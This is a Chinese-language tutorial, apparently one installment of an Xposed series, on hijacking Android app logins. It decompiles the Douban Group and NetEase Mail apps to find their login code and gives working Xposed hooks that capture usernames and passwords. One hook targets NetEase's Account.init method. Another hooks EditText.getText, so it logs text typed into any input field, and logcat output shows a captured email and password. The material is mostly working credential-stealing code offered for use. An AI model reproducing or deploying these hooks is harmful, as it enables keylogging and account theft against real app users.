8、XPOSED四、劫持与盗号

目标APK:豆瓣小组
版本号:3.2.0
MD5:d7e3b5d05519f4a7ad440bfbf141c604

登录:
8、XPOSED四、劫持与盗号_第1张图片


搜索 :手机号
    邮箱/手机号
    密码

进而搜索:hint_email

   
   

res\layout\login.xml:
<AutoCompleteTextView android:textColor="?group_text_color" android:id="@id/name"android:paddingBottom="10.0dip" android:focusable="true"android:layout_width="fill_parent" android:layout_height="wrap_content"android:hint="@string/hint_email" android:singleLine="true"android:inputType="textEmailAddress" android:imeOptions="actionNext" /> <EditTextandroid:textColor="?group_text_color" android:id="@id/password"android:focusable="true" android:nextFocusUp="@id/name"android:layout_width="fill_parent" android:layout_height="wrap_content"android:hint="@string/hint_password" android:singleLine="true"android:inputType="textPassword" />

然后在public.xml里搜索login:

搜索: 0x7f030070,得:com/douban/group/fragment/LoginDialogFragment
.method publiconCreateView(Landroid/view/LayoutInflater;Landroid/view/ViewGroup;Landroid/os/Bundle;)Landroid/view/View; .locals 3 .parameter "inflater" .parameter "container".parameter "savedInstanceState" .prologue .line 77 const v1, 0x7f030070 const/4 v2,0x0 invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
当然后面继续分析smali代码也是可以的,这里为了方便切换到jar上分析(如果目标不能正常反编译成jar包进行分析,就分析smali代码)。
public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle) { View localView = paramLayoutInflater.inflate(2130903152, paramViewGroup, false); this.mBtnLogin = ((Button)localView.findViewById(2131296302)); this.mEdtName = ((EditText)localView.findViewById(2131296497)); this.mEdtPassword = ((EditText)localView.findViewById(2131296506)); this.mEdtName.requestFocus();this.mEdtPassword.setOnKeyListener(new View.OnKeyListener() { public booleanonKey(View paramView, int paramInt, KeyEvent paramKeyEvent) { if((paramKeyEvent.getKeyCode() == 66) && (LoginDialogFragment.this.mEdtPassword.isFocused()) && (LoginDialogFragment.this.mEdtPassword.getText().toString().length() > 0)) { LoginDialogFragment.this.checkNameAndPassword(); return true; } return false; } });this.mBtnLogin.setOnClickListener(new View.OnClickListener() { public voidonClick(View paramView) { LoginDialogFragment.this.checkNameAndPassword(); } });this.mBtnCancel = ((Button)localView.findViewById(2131296297));this.mBtnCancel.setOnClickListener(new View.OnClickListener() { public voidonClick(View paramView) { LoginDialogFragment.this.dismissDialogFragment(); } });return localView; }
重点分析checkNameAndPassword:
private void checkNameAndPassword() { this.mName =this.mEdtName.getText().toString(); this.mPassword =this.mEdtPassword.getText().toString(); String str = getString(2131492903); if(this.mName.contains(str)) this.mName = this.mName.replace(str, "@"); Toast localToast; if (this.mName.length() == 0) localToast = Toast.makeText(getActivity(), 2131493048, 0); while (localToast != null) { localToast.show(); returnif((this.mName.contains("@")) && (!validateEmail(this.mName))) { localToast = Toast.makeText(getActivity(), 2131493049, 0); continue; } int i =this.mPassword.length(); localToast nullif (i != 0continue; localToast = Toast.makeText(getActivity(), 2131493072, 0); } new LoginTask(null).execute(newVoid[0]); }
继续分析:LoginTask
private class LoginTask extends AsyncTask { private Session mPrevSession = nullprivate LoginTask() { } protected Session doInBackground(Void[] paramArrayOfVoid) { try {LoginDialogFragment.this.mApi.login(LoginDialogFragment.this.mName, LoginDialogFragment.this.mPassword); Session localSession = Session.get(LoginDialogFragment.this.getActivity()); if (localSession != null) { User localUser = GroupApplication.getGroupApi().get(String.valueOf(localSession.userId));if (localUser != null) { String str = localUser.jsonString(); LoginDialogFragment.this.mApp.getAccountController().addUserToUserList(localUser); Utils.setString(LoginDialogFragment.this.mApp, "screen_user", str); Utils.setString(LoginDialogFragment.this.mApp, "screen_user_name", localUser.name); LoginDialogFragment.this.mDB.saveUser(localUser.id, str); NLog.e("login", "nickname ++" + localUser.name + "user num id :" + localUser.id); } } return localSession; }catch (Exception localException) { if (LoginDialogFragment.this.getActivity() !=null) ErrorHandler.handleException(LoginDialogFragment.this.getActivity(), localException); } return null; } …… }
核心登录代码已被我们找到:
LoginDialogFragment.this.mApi.login(LoginDialogFragment.this.mName, LoginDialogFragment.this.mPassword);
里面private Api mApi;
所以只要HOOK类 com.douban.api.Api的login函数即可。

发现不能进入到HOOK模块,换一个APK。

网易邮箱: 3.5.5
8、XPOSED四、劫持与盗号_第2张图片
搜索: 邮箱帐号
    邮箱帐号
    密码

搜索:login_email_hint,得login_fragment.xml

在public.xml中搜索 login_fragment:

搜索0x7f030054得com/netease/mobimail/fragment/LoginFragment;
转到jar中分析:
public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle) { View localView = paramLayoutInflater.inflate(2130903124, paramViewGroup, false); this.mContext =paramLayoutInflater.getContext(); init(localView); return localView; }
继续分析init:
private void init(View paramView) { this.mScrollContainer = ((LinearLayout)paramView.findViewById(2131099776)); this.email = ((AutoCompleteTextView)paramView.findViewById(2131099892)); this.emailClearBtn = ((Button)paramView.findViewById(2131099895)); this.tvDomain = ((TextView)paramView.findViewById(2131099893)); this.password = ((EditText)paramView.findViewById(2131099894)); this.passwordClearBtn = ((Button)paramView.findViewById(2131099896)); this.loginBtn = ((Button)paramView.findViewById(2131099897)); this.viewFocus = paramView.findViewById(2131099898); this.adapter = newMailAutoCompleteAdapter(this.mContext, 2130903123, 2131099891, 25);this.adapter.setMatchDomains(MiscUtil.getAllMatchDomain());this.email.setAdapter(this.adapter); this.email.setThreshold(1);this.email.setOnItemClickListener(this.emailOnItemClickListener);this.email.setOnEditorActionListener(this.onEditorActionListener);this.email.addTextChangedListener(new TextWatcher() { public voidafterTextChanged(Editable paramEditable) { } public voidbeforeTextChanged(CharSequence paramCharSequence, int paramInt1, int paramInt2, intparamInt3) { } public void onTextChanged(CharSequence paramCharSequence, intparamInt1, int paramInt2, int paramInt3) { if(paramCharSequence.toString().toLowerCase(Locale.US).trim().contains("@")) LoginFragment.this.email.setListSelection(0); } }); EditTextClearView.combine(this.email, this.emailClearBtn); String str =AppSetting.getInstance().getV2Dot3Account(); if ((!TextUtils.isEmpty(str)) &&(checkMailAddressValid(str))) { this.email.setText(str); AppSetting.getInstance().setV2Dot3Account(null); }this.password.setOnEditorActionListener(this.onEditorActionListener); EditTextClearView.combine(this.password, this.passwordClearBtn); this.loginBtn.setOnClickListener(this.loginBtnOnClickListener);initAddressDropDown(); updateByType(); }
分析登录按钮的响应事件代码:
private final View.OnClickListener loginBtnOnClickListener newView.OnClickListener() { public void onClick(View paramView) { LoginFragment.this.doLogin(); } };
继续分析doLogin:
public void doLogin() { if (this.mIsLogining) { Log.i("LoginFragment", "just wait a while pls, we are doing login"); return; } UIUtils.hideSoftInput(this.mContext,this.email); UIUtils.hideSoftInput(this.mContext, this.password); this.mailAddress =this.email.getText().toString().toLowerCase().trim(); this.passwordString =this.password.getText().toString();
……
this.mAccount = new Account(this.mailAddress, this.passwordString);setAccountType(this.mAccount); if (this.mAccount.isNeteaseFreeAccount()) {this.mAccount.setWZPProtocol(); continue; } this.mAccount.setImapAndSmtpProtocol(); } }
中间是一些检查性代码,不再贴出。最后调用:
this.mAccount = new Account(this.mailAddress, this.passwordString);

此类为:
com.netease.mobimail.storage.entity.Account
public Account() { this(nullnull, ProtocolType.UNKNOWN); } public Account(String paramString, ProtocolType paramProtocolType) { this(paramString, "", paramProtocolType); } public Account(String paramString1, String paramString2) {this(paramString1, paramString2, ProtocolType.UNKNOWN); } public Account(String paramString1, String paramString2, ProtocolType paramProtocolType) {this.internal.setMailAddress(paramString1);this.internal.setProtocolType(paramProtocolType); init(paramString1, paramString2); }
构造函数名怎么写呢?嫌麻烦,继续看init吧:
protected void init(String paramString1, String paramString2) { if(this.internal.getMailAddress() != null) { Address localAddress new Address(); localAddress.setMailAddress(paramString1);this.extData.setCurrentSender(localAddress); this.extData.addSender(localAddress);this.extData.setNeedNotification(true); Mailbox localMailbox1 newMailbox(getId().longValue(), "163ANDROID-LOCAL-OUT-BOX", Mailbox.Type.OUT_BOX); localMailbox1.format(null); addMailbox(localMailbox1); Mailbox localMailbox2 newMailbox(getId().longValue(), "163ANDROID-LOCAL-DRAFT-BOX", Mailbox.Type.DRAFT_BOX); localMailbox2.format(null); addMailbox(localMailbox2); if (isImapAndSmtpProtocol()) initImapAndSmtp(paramString1, paramString2); if (isWZPProtocol()) initWZP(paramString1, paramString2); initOthers(paramString1, paramString2); } }
hook类 com.netease.mobimail.storage.entity.Account的init函数即可,代码:
//got mail pswd findAndHookMethod("com.netease.mobimail.storage.entity.Account", param.classLoader, "init", String.class, String.classnew XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { Log.d(TAG, "beforeHookedMethod: account: " + param.args[0].toString() + " pswd: " + param.args[1].toString()); } });
测试运行:
8、XPOSED四、劫持与盗号_第3张图片
点击登录后截获到帐号和密码:
10-29 11:38:11.320 1567-1567/com.netease.mobimail D/XposedXXHook﹕ beforeHookedMethod: account:  [email protected] pswd: netease163



以上的劫持比较精准,精细到具体类的具体函数,这需要花点时间进行分析,有没有更通用更简单的方法呢?
综合上面两个应用程序的分析来看,输入帐号和密码的控件无非就是EditText、AutoCompleteTextView或者其他,而在登录的时候都要获取其文本内容,也就是getText函数一定会被调用,我们只需要HOOK这些类的 getText函数即可。
android.widget.EditText
android.widget.AutoCompleteTextView

由于 AutoCompleteTextView继承自 EditText:
public class AutoCompleteTextView extends EditText
所以只需要HOOK类 android.widget.EditText的getText函数即可。
//get edit text findAndHookMethod("android.widget.EditText", param.classLoader, "getText", new XC_MethodHook() { @Override protected voidafterHookedMethod(MethodHookParam param) throws Throwable { Log.d(TAG,"android.widget.EditText::getText: " + param.getResult().toString()); } });
测试截获的数据:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:27.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.090 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.090 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.490 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.490 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.550 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:28.550 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:30.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:30.990 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:31.020 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t 
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.120 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.180 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.200 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes 
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.930 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.930 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.940 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:32.940 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea 
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:35.260 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:35.260 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
